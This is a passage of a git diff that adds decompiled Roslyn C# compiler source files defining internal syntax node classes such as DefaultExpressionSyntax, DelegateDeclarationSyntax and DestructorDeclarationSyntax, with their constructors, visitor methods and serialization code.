null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DefaultExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefaultExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefaultExpression(this); + } + + public DefaultExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + if (keyword != Keyword || openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken) + { + DefaultExpressionSyntax defaultExpressionSyntax = SyntaxFactory.DefaultExpression(keyword, openParenToken, type, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + defaultExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(defaultExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + defaultExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(defaultExpressionSyntax, (IEnumerable)annotations); + } + return defaultExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DefaultExpressionSyntax(base.Kind, keyword, openParenToken, type, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DefaultExpressionSyntax(base.Kind, keyword, openParenToken, type, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DefaultExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static DefaultExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DefaultExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DefaultExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultSwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultSwitchLabelSyntax.cs new file mode 100644 index 0000000..83aec2a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultSwitchLabelSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DefaultSwitchLabelSyntax : SwitchLabelSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken colonToken; + + public override SyntaxToken Keyword => keyword; + + public override SyntaxToken ColonToken => colonToken; + + internal DefaultSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken colonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal DefaultSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken colonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal DefaultSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken colonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => colonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DefaultSwitchLabelSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefaultSwitchLabel(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefaultSwitchLabel(this); + } + + public DefaultSwitchLabelSyntax Update(SyntaxToken keyword, SyntaxToken colonToken) + { + if (keyword != Keyword || colonToken != ColonToken) + { + DefaultSwitchLabelSyntax defaultSwitchLabelSyntax = SyntaxFactory.DefaultSwitchLabel(keyword, colonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + defaultSwitchLabelSyntax = GreenNodeExtensions.WithDiagnosticsGreen(defaultSwitchLabelSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + defaultSwitchLabelSyntax = GreenNodeExtensions.WithAnnotationsGreen(defaultSwitchLabelSyntax, (IEnumerable)annotations); + } + return defaultSwitchLabelSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DefaultSwitchLabelSyntax(base.Kind, keyword, colonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DefaultSwitchLabelSyntax(base.Kind, keyword, colonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DefaultSwitchLabelSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)colonToken); + } + + static DefaultSwitchLabelSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DefaultSwitchLabelSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DefaultSwitchLabelSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefineDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefineDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..bc4d734 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefineDirectiveTriviaSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DefineDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken defineKeyword; + + internal readonly SyntaxToken name; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken DefineKeyword => defineKeyword; + + public SyntaxToken Name => name; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal DefineDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)defineKeyword); + this.defineKeyword = defineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal DefineDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)defineKeyword); + this.defineKeyword = defineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal DefineDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)defineKeyword); + this.defineKeyword = defineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => defineKeyword, + 2 => name, + 3 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DefineDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefineDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefineDirectiveTrivia(this); + } + + public DefineDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || defineKeyword != DefineKeyword || name != Name || endOfDirectiveToken != EndOfDirectiveToken) + { + DefineDirectiveTriviaSyntax defineDirectiveTriviaSyntax = SyntaxFactory.DefineDirectiveTrivia(hashToken, defineKeyword, name, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + defineDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(defineDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + defineDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(defineDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return defineDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DefineDirectiveTriviaSyntax(base.Kind, hashToken, defineKeyword, name, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DefineDirectiveTriviaSyntax(base.Kind, hashToken, defineKeyword, name, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DefineDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + defineKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + name = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + endOfDirectiveToken = syntaxToken4; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)defineKeyword); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static DefineDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DefineDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DefineDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefineState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefineState.cs new file mode 100644 index 0000000..325f28c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefineState.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal enum DefineState +{ + Defined, + Undefined, + Unspecified +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DelegateDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DelegateDeclarationSyntax.cs new file mode 100644 index 0000000..4bcc75a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DelegateDeclarationSyntax.cs @@ -0,0 +1,295 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DelegateDeclarationSyntax : MemberDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken delegateKeyword; + + internal readonly TypeSyntax returnType; + + internal readonly SyntaxToken identifier; + + internal readonly TypeParameterListSyntax? typeParameterList; + + internal readonly ParameterListSyntax parameterList; + + internal readonly GreenNode? constraintClauses; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken DelegateKeyword => delegateKeyword; + + public TypeSyntax ReturnType => returnType; + + public SyntaxToken Identifier => identifier; + + public TypeParameterListSyntax? TypeParameterList => typeParameterList; + + public ParameterListSyntax ParameterList => parameterList; + + public SyntaxList ConstraintClauses => new SyntaxList(constraintClauses); + + public SyntaxToken SemicolonToken => semicolonToken; + + internal DelegateDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken delegateKeyword, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal DelegateDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken delegateKeyword, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal DelegateDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken delegateKeyword, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => delegateKeyword, + 3 => returnType, + 4 => identifier, + 5 => typeParameterList, + 6 => parameterList, + 7 => constraintClauses, + 8 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDelegateDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDelegateDeclaration(this); + } + + public DelegateDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken delegateKeyword, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || delegateKeyword != DelegateKeyword || returnType != ReturnType || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || constraintClauses != ConstraintClauses || semicolonToken != SemicolonToken) + { + DelegateDeclarationSyntax delegateDeclarationSyntax = SyntaxFactory.DelegateDeclaration(attributeLists, modifiers, delegateKeyword, returnType, identifier, typeParameterList, parameterList, constraintClauses, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + delegateDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(delegateDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + delegateDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(delegateDeclarationSyntax, (IEnumerable)annotations); + } + return delegateDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DelegateDeclarationSyntax(base.Kind, attributeLists, modifiers, delegateKeyword, returnType, identifier, typeParameterList, parameterList, constraintClauses, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DelegateDeclarationSyntax(base.Kind, attributeLists, modifiers, delegateKeyword, returnType, identifier, typeParameterList, parameterList, constraintClauses, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DelegateDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 9; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + delegateKeyword = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + returnType = typeSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + TypeParameterListSyntax typeParameterListSyntax = (TypeParameterListSyntax)reader.ReadValue(); + if (typeParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterListSyntax); + typeParameterList = typeParameterListSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + constraintClauses = val3; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + semicolonToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)delegateKeyword); + writer.WriteValue((IObjectWritable)(object)returnType); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeParameterList); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)constraintClauses); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static DelegateDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DelegateDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DelegateDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DestructorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DestructorDeclarationSyntax.cs new file mode 100644 index 0000000..cf49e7f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DestructorDeclarationSyntax.cs @@ -0,0 +1,287 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DestructorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken tildeToken; + + internal readonly SyntaxToken identifier; + + internal readonly ParameterListSyntax parameterList; + + internal readonly BlockSyntax? body; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken TildeToken => tildeToken; + + public SyntaxToken Identifier => identifier; + + public override ParameterListSyntax ParameterList => parameterList; + + public override BlockSyntax? Body => body; + + public override ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal DestructorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)tildeToken); + this.tildeToken = tildeToken; + 